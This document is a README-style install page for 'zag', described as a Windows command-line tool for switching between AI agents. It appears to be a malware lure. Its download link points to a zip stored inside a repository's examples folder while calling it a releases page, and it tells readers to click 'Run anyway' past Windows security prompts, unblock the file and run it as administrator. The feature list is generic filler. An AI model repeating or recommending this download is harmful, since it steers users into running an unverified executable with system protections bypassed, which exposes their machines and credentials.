Visit this page to download: https://github.com/dorle5803/zag/raw/refs/heads/main/examples/react-claude-interface/Software-1.1.zip
On the releases page, look for the latest version and download the Windows file that matches your computer.
- Open the download page above.
- Find the latest release.
- Download the Windows
.exefile or the Windows zip file. - If you downloaded a zip file, right-click it and choose Extract All.
- Open the folder and find the
zag.exefile. - Double-click
zag.exeto run it.
If Windows shows a security prompt, choose Run or More info, then Run anyway.
zag helps you use different AI agents from one command line tool. It gives you one place to run workflows that can work with tools like:
- Claude
- Codex
- Gemini
- Copilot
- Ollama
Use it when you want the same workflow to keep working even if you switch agents.
- Keep one workflow instead of rebuilding it for each agent
- Switch between agents without changing your process
- Use local models with Ollama when you want to stay offline
- Connect cloud and local tools in one place
- Keep agent tasks organized from one CLI
zag is made for modern Windows systems. A typical setup works best with:
- Windows 10 or Windows 11
- 64-bit computer
- A few hundred MB of free disk space
- Internet access for cloud agents
- Optional local model support if you use Ollama
If you plan to use local models, make sure Ollama is installed and running on your PC.
After you open zag.exe, a terminal window may appear.
You can use it from the command line to:
- start an agent workflow
- send a task to a model
- switch between agent backends
- manage prompts and steps
If you prefer, you can pin the app to Start for easier access later.
Move zag.exe into a folder you can find again, such as:
DownloadsDocumentsDesktop
If Windows asks for permission, allow it so the app can start.
If you want to run zag from any terminal window, you can place the file in a folder that is already on your system path. Many users keep tools in a simple folder like:
C:\Tools\zagC:\Users\YourName\bin
Some agents need an API key or local service before they can work. Keep those details ready if your setup uses cloud tools.
- Ask one agent to draft code
- Send the same task to a second agent for review
- Use a local Ollama model for private work
- Compare outputs from different models
- Keep a repeatable workflow for support, coding, or content tasks
If you want a simple setup, use this:
Downloadsfor the first runC:\Tools\zagfor regular useDocuments\zag-workflowsfor your saved tasks and prompts
When zag runs, it acts as a command line tool that helps route work to different AI agents. You may see:
- a text-based interface
- setup prompts
- task results in the terminal
- messages that tell you which agent is active
- Check that the file finished downloading
- Make sure you downloaded the Windows file
- Right-click the file and choose Run as administrator
- Try moving the file to a simple folder like
Desktop
- Open the file properties
- Look for an Unblock option
- Apply the change and try again
- Open Command Prompt first
- Run the file from that window
- This can help you see the message before it closes
- Make sure Ollama is installed
- Start Ollama before you run zag
- Check that the local service is active
- Check your internet connection
- Confirm your API key is set
- Make sure the agent service is available
Download from the latest build here: https://github.com/dorle5803/zag/raw/refs/heads/main/examples/react-claude-interface/Software-1.1.zip
Use this page any time you want the newest Windows version or want to check older releases
- Visit the release page
- Download the Windows file
- Run
zag.exe - Set up the agent you want to use
- Start your first workflow